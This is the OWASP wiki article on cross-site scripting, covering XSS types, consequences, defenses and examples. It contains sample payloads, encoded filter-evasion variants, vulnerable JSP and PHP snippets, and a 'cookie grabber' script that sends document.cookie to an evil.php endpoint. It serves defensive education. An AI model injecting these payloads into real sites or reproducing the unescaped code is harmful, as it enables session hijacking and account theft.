Cross-site Scripting (XSS)

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This is an Attack. To view all attacks, please see the Attack Category page.

Last revision (mm/dd/yy): 06/4/2016

Overview
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into
otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send
malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these
attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within
the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no
way to know that the script should not be trusted, and will execute the script. Because it thinks the script
came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive
information retained by the browser and used with that site. These scripts can even rewrite the content of the
HTML page. For more details on the different types of XSS flaws, see: Types of Cross-Site Scripting.

Related Security Activities

How to Avoid Cross-site scripting Vulnerabilities

See the XSS (Cross Site Scripting) Prevention Cheat Sheet

See the DOM based XSS Prevention Cheat Sheet

See the OWASP Development Guide article on Phishing.

See the OWASP Development Guide article on Data Validation.

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.

How to Test for Cross-site scripting Vulnerabilities

See the latest OWASP Testing Guide article on how to test for the various kinds of XSS vulnerabilities.

Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)

Description
Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for
malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also
include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based
on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other
session information, to the attacker, redirecting the victim to web content controlled by the attacker, or
performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored and Reflected XSS Attacks

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much
less well known type of XSS attack called DOM Based XSS that is discussed seperately here.

Stored XSS Attacks

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a
database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script
from the server when it requests the stored information. Stored XSS is also sometimes referred to as
Persistent or Type-I XSS.

Reflected XSS Attacks

Reflected attacks are those where the injected script is reflected off the web server, such as in an error
message, search result, or any other response that includes some or all of the input sent to the server as part
of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or
on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially
crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site,
which reflects the attack back to the user’s browser. The browser then executes the code because it came
from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Other Types of XSS Vulnerabilities

In addition to Stored and Reflected XSS, another type of XSS, DOM Based XSS was identified by Amit
Klein in 2005 (http://www.webappsec.org/projects/articles/071105.shtml). OWASP recommends the XSS
categorization as described in the OWASP Article: Types of Cross-Site Scripting, which covers all these
XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where
DOM Based XSS is a subset of Client XSS.

XSS Attack Consequences

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM
Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read
only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of
problems for the end user that range in severity from an annoyance to complete account compromise. The
most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the
user’s session and take over the account. Other damaging attacks include the disclosure of end user files,
installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of
content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a
company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could
allow an attacker to modify dosage information resulting in an overdose. For more information on these
types of attacks see Content_Spoofing.

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to
perform a security review of the code and search for all places where input from an HTTP request could
possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to
transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for
these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood
that there are other problems as well.

How to Protect Yourself

The primary defenses against XSS are described in the OWASP XSS Prevention Cheat Sheet.

Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data
via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted
when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP
Trace call is triggered which collects the user's cookie information from the server, and then sends it over to
another malicious server that collects the cookie information so the attacker can mount a session hijack
attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.

The OWASP ESAPI project has produced a set of reusable security components in several languages,
including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks.
In addition, the OWASP WebGoat Project training application has lessons on Cross-Site Scripting and data
encoding.

Alternate XSS Syntax

XSS using Script in Attributes

XSS attacks may be conducted without using <script></script> tags. Other tags will do exactly the same
thing, for example:

<body onload=alert('test1')>

or other attributes like: onmouseover, onerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

XSS using Script Via Encoded URI Schemes

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41
(UTF-8) and use it in IMG tag:

<IMG SRC=j&#X41vascript:alert('test2')>

There are many different UTF-8 encoding notations what give us even more possibilities.

XSS using code encoding

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More
information about this method can be found in RFC 2397

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a true
encyclopedia of the alternate XSS syntax attack.

Examples
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post
unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-
style functionality.

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the
user.

<% String eid = request.getParameter("eid"); %>

...
Employee ID: <%= eid %>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a
value that includes meta-characters or source code, then the code will be executed by the web browser as it
displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that
causes malicious code to run on their own computer? The real danger is that an attacker will create the
malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL.
When victims click the link, they unwittingly reflect the malicious content through the vulnerable web
application back to their own computers. This mechanism of exploiting vulnerable web applications is
known as Reflected XSS.

Example 2

The following JSP code segment queries a database for an employee with a given ID and prints the
corresponding employee's name.
 <%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does
nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of
name is read from a database, whose contents are apparently managed by the application. However, if the
value of name originates from user-supplied data, then the database can be a conduit for malicious content.
Without proper input validation on all data stored in the database, an attacker can execute malicious
commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious
because the indirection caused by the data store makes it more difficult to identify the threat and increases
the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that
offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all
subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an
HTTP response. There are three vectors by which an XSS attack can reach a victim:

As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP
response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to
a vulnerable web application, which is then reflected back to the user and executed by the web
browser. The most common mechanism for delivering malicious content is to include it as a parameter
in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner
constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL
that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content
is executed and proceeds to transfer private information, such as cookies that may include session
information, from the user's machine to the attacker or perform other nefarious activities.
As in Example 2, the application stores dangerous data in a database or other trusted data store. The
dangerous data is subsequently read back into the application and included in dynamic content. Stored
XSS exploits occur when an attacker injects dangerous content into a data store that is later read and
included in dynamic content. From an attacker's perspective, the optimal place to inject malicious
content is in an area that is displayed to either many users or particularly interesting users. Interesting
users typically have elevated privileges in the application or interact with sensitive data that is
valuable to the attacker. If one of these users executes malicious content, the attacker may be able to
perform privileged operations on behalf of the user or gain access to sensitive data belonging to the
user.
A source outside the application stores dangerous data in a database or other data store, and the
dangerous data is subsequently read back into the application as trusted data and included in dynamic
content.

Attack Examples

Example 1 : Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated
user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private
messages, user profiles):
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped
before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The
attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to
a file) and use it.

Error Page Example

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404
error page. We may use the code below as an example to inform user about what specific page is missing:

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

Let's see how it works:

http://testsite.test/file_which_not_exist

In response we get:

Not found: /file_which_not_exist

Now we will try to force the error page to include our code:

http://testsite.test/<script>alert("TEST");</script>

The result is:

Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We have successfully injected the code, our XSS! What does it mean? For example, that we may use this
flaw to try to steal a user's session cookie.

Related Attacks
XSS Attacks
Category:Injection Attack
Invoking untrusted mobile code
Cross Site History Manipulation (XSHM)
Related Vulnerabilities
Category:Input Validation Vulnerability
Cross Site Scripting Flaw
Types of Cross-Site Scripting

Related Controls
Category:Input Validation
HTML Entity Encoding
Output Validation
Canonicalization

References
OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet
OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
OWASP Testing Guide, Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
OWASP Testing Guide, Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
OWASP Testing Guide, Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
OWASP's How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's
Stinger)
Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
OWASP XSS Filter Evasion Cheat Sheet
CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips
/malicious_code_mitigation.html
Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers
/CSS.html
XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites
http://www.xssed.com

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This page was last modified on 4 June 2016, at 07:18.

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